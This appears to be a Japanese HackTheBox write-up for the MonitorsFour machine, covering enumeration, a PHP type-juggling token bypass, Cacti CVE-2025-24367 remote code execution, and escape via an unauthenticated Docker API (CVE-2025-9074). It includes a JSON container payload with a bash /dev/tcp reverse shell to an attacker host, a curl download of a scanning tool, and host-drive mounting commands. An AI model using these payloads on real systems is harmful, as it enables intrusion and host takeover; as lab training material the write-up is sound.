1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HackTheBox Writeup:MonitorsFour

1
Posted at

はじめに

本記事はHackTheBoxのWriteupです。

Machineは、MonitorsFourです。

MonitorsFourでは、CactやDockerの脆弱性について学びます。

スキャニング

はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-19 22:09 JST
Nmap scan report for monitorsfour.htb (10.10.11.98)
Host is up (0.25s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx
|_http-title: MonitorsFour - Networking Solutions
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.06 seconds
Scan completed

上記ポートスキャンの結果を基に調査を行います。

列挙

ポートスキャンの結果を踏まえて、hostsファイルを編集後monitorsfour.htbにHTTPアクセスすると、以下の様な画面が表示されます。

スクリーンショット 2025-12-19 22.12.32.png

MonitorsFourは、ネットワークソリューションを提供しているサイトのようです。

コンテンツ探索

gobusterを用いてコンテンツ探索を行なうと、以下のコンテンツが検出されました。

$ gobuster dir -u http://monitorsfour.htb -w /usr/share/wordlists/dirb/common.txt

===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://monitorsfour.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 146]
/.hta                 (Status: 403) [Size: 146]
/.htpasswd            (Status: 403) [Size: 146]
/contact              (Status: 200) [Size: 367]
/controllers          (Status: 301) [Size: 162] [--> http://monitorsfour.htb/controllers/]
/forgot-password      (Status: 200) [Size: 3099]
/login                (Status: 200) [Size: 4340]
/static               (Status: 301) [Size: 162] [--> http://monitorsfour.htb/static/]
/user                 (Status: 200) [Size: 35]
/views                (Status: 301) [Size: 162] [--> http://monitorsfour.htb/views/]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================

ファジング

ffufを実行してファジングを行います。

$ ffuf -w ~/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://monitorsfour.htb -H "Host: FUZZ.monitorsfour.htb" -c -fs 138

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://monitorsfour.htb
 :: Wordlist         : FUZZ: /home/kali/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.monitorsfour.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 138
________________________________________________

cacti                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 254ms]
:: Progress: [4989/4989] :: Job [1/1] :: 157 req/sec :: Duration: [0:00:32] :: Errors: 0 ::

上記結果より、cactiのサブドメインを検出しました。また、hostsファイルを編集後http://cacti.monitorsfour.htbにアクセスすると、Cactiのログイン画面が確認できます。

スクリーンショット 2025-12-19 22.34.22.png

Cactiは、Webベースのネットワーク監視及びグラフ生成用のオープンソースソフトウェアです。

ログイン画面より、1.2.28のバージョンを使用していることが分かります。

エンドポイント分析

コンテンツ探索の結果を踏まえて、http://monitorsfour.htb/userにアクセスすると、トークンパラメータが見つからないことを意味する{"error":"Missing token parameter"}のメッセージが出力されました。

スクリーンショット 2025-12-19 22.35.19.png

試しにhttp://monitorsfour.htb/user?token=testのリクエストを送ると、トークンが無効であるというerror "Invalid or missing token"のメッセージが確認できます。

スクリーンショット 2025-12-19 22.35.31.png

PHPは、8.3.27バージョンで動作していることを考慮すると、Type Jugglingについて調査する必要があります。

PHPは動的型付け言語になるため、比較や演算の際に値が自動的に型変換されることがあります。

そのため、特に緩い比較演算子(==)では、異なる型同士が暗黙的に変換されるため、意図しない評価結果を招き、認証や条件分岐の回避といった問題につながる可能性があります。

トークンパラメータをファジングするにあたり、以下のコマンドを実行します。

$ ffuf -u http://monitorsfour.htb/user?token=FUZZ -w /home/kali/tool/SecLists/Pattern-Matching/php-magic-hashes.txt -fw 4

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://monitorsfour.htb/user?token=FUZZ
 :: Wordlist         : FUZZ: /home/kali/tool/SecLists/Pattern-Matching/php-magic-hashes.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 4
________________________________________________

0e684322                [Status: 200, Size: 1355, Words: 10, Lines: 1, Duration: 293ms]
0e191084                [Status: 200, Size: 1355, Words: 10, Lines: 1, Duration: 295ms]
0e644471                [Status: 200, Size: 1355, Words: 10, Lines: 1, Duration: 298ms]
0e042304                [Status: 200, Size: 1355, Words: 10, Lines: 1, Duration: 305ms]
0e951917                [Status: 200, Size: 1355, Words: 10, Lines: 1, Duration: 305ms]
...

上記で見つかった値をトークンのパラメータに指定して、再度アクセスすると、レスポンス結果から複数の認証情報が確認できました。

スクリーンショット 2025-12-19 22.35.53.png

脆弱性分析

取得したadminユーザーの認証情報を使用することで、Cactiにログインできました。

スクリーンショット 2025-12-19 22.44.23.png

Cactiの脆弱性について調査したところ、CVE-2025-24367の脆弱性が見つかりました。

CVE-2025-24367の脆弱性は、Cacti認証後にRCEを引き起こす脆弱性です。

グラフ作成やテンプレート関連機能の入力処理の不備によって、認証済みユーザーがウェブルート配下に任意のPHPファイルを生成することができます。その結果、攻撃者は悪意のあるPHPファイルを通じて、任意のコードを実行することができます。

影響を受けるのは1.2.29未満のバージョンになるため、Machineで利用している1.2.28バージョンは脆弱性の影響を受けます。

システムハッキング

CVE-2025-24367の脆弱性を利用して、足場を作っていきます。

アクセスの獲得

GitHubで見つけたPocを実行します。

[+] Cacti Instance Found!
[+] Serving HTTP on port 80
[+] Login Successful!
[+] Got graph ID: 226
[i] Created PHP filename: GQHRt.php
[+] Got payload: /bash
[i] Created PHP filename: Le1Wf.php
[+] Hit timeout, looks good for shell, check your listener!
[+] Stopped HTTP server on port 80

上記スクリプトを実行後、シェルが取得できました。

listening on [any] 4444 ...
connect to [REDACTED] from (UNKNOWN) [10.10.11.98] 50158
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
www-data@821fbd6a43fa:~/html/cacti$ 

ユーザーフラグ

シェル取得後のユーザーは、www-dataです。

また、ホスト名、ファイルシステム、その他のコマンド結果からコンテナ環境であることをが推測できます。

$ df -h

Filesystem      Size  Used Avail Use% Mounted on
overlay        1007G  9.5G  947G   1% /
tmpfs            64M     0   64M   0% /dev
shm              64M     0   64M   0% /dev/shm
/dev/sde       1007G  9.5G  947G   1% /etc/hosts
tmpfs           952M     0  952M   0% /proc/acpi
tmpfs           952M     0  952M   0% /proc/scsi
tmpfs           952M     0  952M   0% /sys/firmware

$ ip r

default via 172.18.0.1 dev eth0 
172.18.0.0/16 dev eth0 proto kernel scope link src 172.18.0.2

$ cat /etc/resolv.conf

# Generated by Docker Engine.
# This file can be edited; Docker Engine will not make further changes once it
# has been modified.

nameserver 127.0.0.11
options ndots:0

# Based on host file: '/etc/resolv.conf' (internal resolver)
# ExtServers: [host(192.168.65.7)]
# Overrides: []
# Option ndots from: internal

ホームディレクトリを確認すると、marcusユーザーが確認できました。

total 4      
drwxr-xr-x 1 marcus marcus 4096 Dec 19 13:05 marcus 

そして、/home/marcusディレクトリを確認すると、ユーザーフラグが確認できます。その他ユーザーも読み取り権限が付与されているため、フラグの中身を見ることができます。

total 4
-r-xr-xr-x 1 root root 34 Dec 19 13:02 user.txt

ルートフラグ

ルートフラグを取得するためには、権限のエスカレーションが必要なため、引き続き脆弱な箇所を調査します。

ホスト内をスキャンするために、コンテナ内にfscanのバイナリをダウンロードして、実行します。

$ curl http://[REDACTED]:8000/fscan -o fscan
$ ./fscan -h 192.168.65.7 -p 1-65535

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
192.168.65.7:53 open
192.168.65.7:2375 open
192.168.65.7:3128 open
192.168.65.7:5555 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle http://192.168.65.7:2375  code:404 len:29     title:None
[*] WebTitle http://192.168.65.7:5555  code:200 len:0      title:None
[+] PocScan http://192.168.65.7:2375 poc-yaml-docker-api-unauthorized-rce 
[+] PocScan http://192.168.65.7:2375 poc-yaml-go-pprof-leak 
已完成 4/4
[*] 扫描结束,耗时: 36.149696912s

上記結果より、Machineで稼働しているDockerに対する外部からのリモートアクセスは、有効であることが分かります。

Dockerデーモンの2375番ポートをTLSを使用せずに公開した場合、認証不要でDocker APIにアクセスができるようなりため、外部からのコンテナの操作やホスト侵害のリスクにが生まれます。

イメージの列挙を行い、利用できるイメージを特定します。

$ curl -s http://192.168.65.7:2375/images/json

[{"Containers":1,"Created":1762794130,"Id":"sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666","Labels":{"com.docker.compose.project":"docker_setup","com.docker.compose.service":"nginx-php","com.docker.compose.version":"2.39.1"},"ParentId":"","Descriptor":{"mediaType":"application/vnd.oci.image.index.v1+json","digest":"sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666","size":856},"RepoDigests":["docker_setup-nginx-php@sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666"],"RepoTags":["docker_setup-nginx-php:latest"],"SharedSize":-1,"Size":1277167255},{"Containers":1,"Created":1762791053,"Id":"sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40","Labels":{"com.docker.compose.project":"docker_setup","com.docker.compose.service":"mariadb","com.docker.compose.version":"2.39.1","org.opencontainers.image.authors":"MariaDB Community","org.opencontainers.image.base.name":"docker.io/library/ubuntu:noble","org.opencontainers.image.description":"MariaDB Database for relational SQL","org.opencontainers.image.documentation":"https://hub.docker.com/_/mariadb/","org.opencontainers.image.licenses":"GPL-2.0","org.opencontainers.image.ref.name":"ubuntu","org.opencontainers.image.source":"https://github.com/MariaDB/mariadb-docker","org.opencontainers.image.title":"MariaDB Database","org.opencontainers.image.url":"https://github.com/MariaDB/mariadb-docker","org.opencontainers.image.vendor":"MariaDB Community","org.opencontainers.image.version":"11.4.8"},"ParentId":"","Descriptor":{"mediaType":"application/vnd.oci.image.index.v1+json","digest":"sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40","size":856},"RepoDigests":["docker_setup-mariadb@sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40"],"RepoTags":["docker_setup-mariadb:latest"],"SharedSize":-1,"Size":454269972},{"Containers":1,"Created":1759921496,"Id":"sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412","Labels":null,"ParentId":"","Descriptor":{"mediaType":"application/vnd.oci.image.index.v1+json","digest":"sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412","size":9218},"RepoDigests":["alpine@sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412"],"RepoTags":["alpine:latest"],"SharedSize":-1,"Size":12794775}]

docker_setup-nginx-php:latestのイメージを利用して、以下のファイルを作成します。

  • create_container.json
{
  "Image": "docker_setup-nginx-php:latest",
  "Cmd": ["/bin/bash", "-c", "bash -i >& /dev/tcp/REDACTED/4445 0>&1"],
  "HostConfig": {
    "Binds": ["/mnt/host/c:/host_root"]
  } 
}

上記で作成したJSONペイロードを/containers/createに送信して、ホストマシン上のCドライブをコンテナ内にマウントするため、バインドマウントを行います。これにより、/host_root配下の任意のファイルが読み書きできるようになります。

$ curl -H "Content-Type: application/json" -d @create_container.json http://192.168.65.7:2375/containers/create -o resp.json

{"Id":"1e71406cf4190cd3fbffc87450155f1f8869bb60a58a6658a0d3f2c50cbc6499","Warnings":[]}

以下のようなコマンドを実行して、コンテナを起動します。

$ cid=1e71406cf419
$ curl -X POST http://192.168.65.7:2375/containers/$cid/start

上記コマンド実行後、特権コンテナがCドライブをマウントすした状態で起動するため、絶対パスを参照することで、ホスト内のファイルにアクセスすることができます。

listening on [any] 4445 ...
connect to [REDACTED] from (UNKNOWN) [10.10.11.98] 60988
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@1e71406cf419:/var/www/html# 

以下のディレクトリからルートフラグが確認できます。

$ ls -l /host_root/Users/Administrator/Desktop/

<html# ls -l /host_root/Users/Administrator/Desktop/
total 0
-rwxrwxrwx 1 root root 282 Mar 24  2025 desktop.ini
-r-xr-xr-x 1 root root  34 Dec 19 13:02 root.txt

おわりに

CVE-2025-9074の脆弱性は、Docker Engine APIがコンテナからTCP経由で到達可能になるDocker Desktop 特有の問題です。

通常のLinuxのDocker Engineは、デフォルトで/var/run/docker.sockのUnix Domain Socketを利用しています。

従ってDocker DesktopのようなTCP ベースの内部公開構成を持たないため、一般的な Linux 環境では本脆弱性の影響を受けません。

ただし、LinuxでもDocker API を TCP (2375 等)で公開している場合は、注意する必要があります。

参考

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?